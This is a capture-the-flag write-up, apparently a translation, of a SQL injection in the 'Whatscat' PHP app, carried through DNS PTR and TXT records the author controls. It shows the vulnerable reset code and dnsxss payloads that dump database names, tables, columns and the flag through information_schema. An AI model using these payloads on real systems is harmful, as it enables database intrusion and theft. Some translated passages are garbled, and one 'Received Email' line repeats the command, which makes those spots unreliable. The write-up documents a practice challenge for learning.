SQL Injection via DNS
0x00 Analysis
Whatscat is a php app that can upload pictures of cats and comment on them. Address:
Https://blogdata.skullsecurity.org/whatscat.tar.bz2
The vulnerability code exists in the password reset module of login. php, as follows:
elseif (isset($_POST["reset"])) { $q = mysql_query(sprintf("select username,email,id from users where username='%s'", mysql_real_escape_string($_POST["name"]))); $res = mysql_fetch_object($q); $pwnew = "cat".bin2hex(openssl_random_pseudo_bytes(8)); if ($res) { echo sprintf("<p>Don't worry %s, we're emailing you a new password at %s</p>", $res->username,$res->email); echo sprintf("<p>If you are not %s, we'll tell them something fishy is going on!</p>", $res->username);$message = <<<CATHello. Either you or someone pretending to be you attempted to reset your password.Anyway, we set your new password to $pwnew If it wasn't you who changed your password, we have logged their IP information as follows:CAT; $details = gethostbyaddr($_SERVER['REMOTE_ADDR']). print_r(dns_get_record(gethostbyaddr($_SERVER['REMOTE_ADDR'])),true); mail($res->email,"whatscat password reset",$message.$details,"From: whatscat@whatscat.cat\r\n"); mysql_query(sprintf("update users set password='%s', resetinfo='%s' where username='%s'", $pwnew,$details,$res->username)); } else { echo "Hmm we don't seem to have anyone signed up by that name"; }
Note the following code:
$details = gethostbyaddr($_SERVER['REMOTE_ADDR']). print_r(dns_get_record(gethostbyaddr($_SERVER['REMOTE_ADDR'])),true); mail($res->email,"whatscat password reset",$message.$details,"From: whatscat@whatscat.cat\r\n"); mysql_query(sprintf("update users set password='%s', resetinfo='%s' where username='%s'", $pwnew,$details,$res->username));
$ Details variables are inserted into the database if they are not encoded. I noticed that people used to trust the results returned by DNS queries too much. This is the best example of this misunderstanding! If we can insert an SQL statement into a DNS request, everything is fine!
When the Whatscat challenge is completed, I click forgot password, enter the username: admin, And then it sends a Mailinator to me, an email server. I logged on to this mailbox and noticed that some people tried SQL injection through TXT records, which may be records left by other users.
This TXT record is actually used to conveniently control the PTR records of all SkullSpace IP addresses. It can do some useful things instead of cracking! I used this server for blog and some things on the SkullSpace network, and then I set the PTR record of test.skullseclabs.org through it. In fact, if you perform DNS resolution on 206.220.196.59, you will see the following content:
$ host blog.skullsecurity.orgblog.skullsecurity.org is an alias for skullsecurity.org.skullsecurity.org has address 206.220.196.59$ host 206.220.196.5959.196.220.206.in-addr.arpa domain name pointer test.skullseclabs.org.
I control the authorization server for test.skullseclabs.org, so I can forge arbitrary records. Although it is a cool-killing tool for this level, at least I don't need to go to the registration page every time to change a record, and I can use a tool called dnsxss I wrote to quickly achieve it:
Https://github.com/iagox86/nbtool
$ sudo ./dnsxss --payload="Hello yes this is test"Listening for requests on 0.0.0.0:53Will response to queries with: Hello/yes/this/is/test $ dig -t txt test123.skullseclabs.org[...];; ANSWER SECTION:test123.skullseclabs.org. 1 IN TXT "Hello yes this is test.test123.skullseclabs.org"
What we need to do now is to find the appropriate payload!
0x01 The exploit
I am not a blind fans, so I set up a version on the local server to enable the SQL error. Then I started to develop an exploit! This is an update statement, so it cannot be injected directly. I can only indirectly read the database content by returning it to an email. I do not know how to properly terminate an SQL statement (neither # Nor --, and;). In the end, my payload will be able:
UPDATE other values to the e-mail field to properly read the final information, which means that the query is ended with "resetinfo =", so the "resetinfo =" field will be filled with the remaining part.
The final payload is as follows:
./dnsxss --payload="test', email='test1234', resetinfo='"
I have created an account, reset the password from my ip address, and refresh it. The complete statement on the test server is as follows:
update users set password='catf7a252e008616c94', resetinfo='test.skullseclabs.orgArray ( [0] => Array ( [host] => test.skullseclabs.org [class] => IN [ttl] => 1 [type] => TXT [txt] => test', email='test1234', resetinfo='.test.skullseclabs.org [entries] => Array ( [0] => test', email='test1234', resetinfo=' ) ) ) ' where username='ron'
After running the command, reset the password as follows:
Don't worry ron, we're emailing you a new password at test1234If you are not ron, we'll tell them something fishy is going on!
The password has been reset!
But this is not what I want!
Mysql has a very convenient database called information_schema, which can be used to export all the content and modify the payload as follows:
./dnsxss --payload="test', email=(select group_concat(SCHEMA_NAME separator ', ') from information_schema.SCHEMATA), resetinfo='"
Refresh the password and receive the following email:
Don't worry ron, we're emailing you a new password at information_schema, mysql, performance_schema, whatscatIf you are not ron, we'll tell them something fishy is going on!
Obtain the names of all whatscat tables:
./dnsxss --payload="test', email=(select group_concat(TABLE_NAME separator ', ') from information_schema.TABLES where TABLE_SCHEMA='whatscat'), resetinfo='"
Received Email:
./dnsxss --payload="test', email=(select group_concat(TABLE_NAME separator ', ') from information_schema.TABLES where TABLE_SCHEMA='whatscat'), resetinfo='"
Obtain all column names in the flag table:
./dnsxss --payload="test', email=(select group_concat(COLUMN_NAME separator ', ') from information_schema.COLUMNS where TABLE_NAME='flag'), resetinfo='"
Received Email:
Don't worry ron, we're emailing you a new password at flagIf you are not ron, we'll tell them something fishy is going on!
Finally, retrieve the content in the column:
./dnsxss --payload="test', email=(select group_concat(flag separator ', ') from whatscat.flag), resetinfo='"
Obtain the flag:
Don't worry ron, we're emailing you a new password at 20billion_d0llar_1d3aIf you are not ron, we'll tell them something fishy is going on!
0x02 Summary
The focus of this paper is to spoof the PTR record type and direct the TXT record queried by DNS to the dns server under its control, thus controlling the content returned by the DNS plug-in, people trust the content returned by DNS queries unconditionally.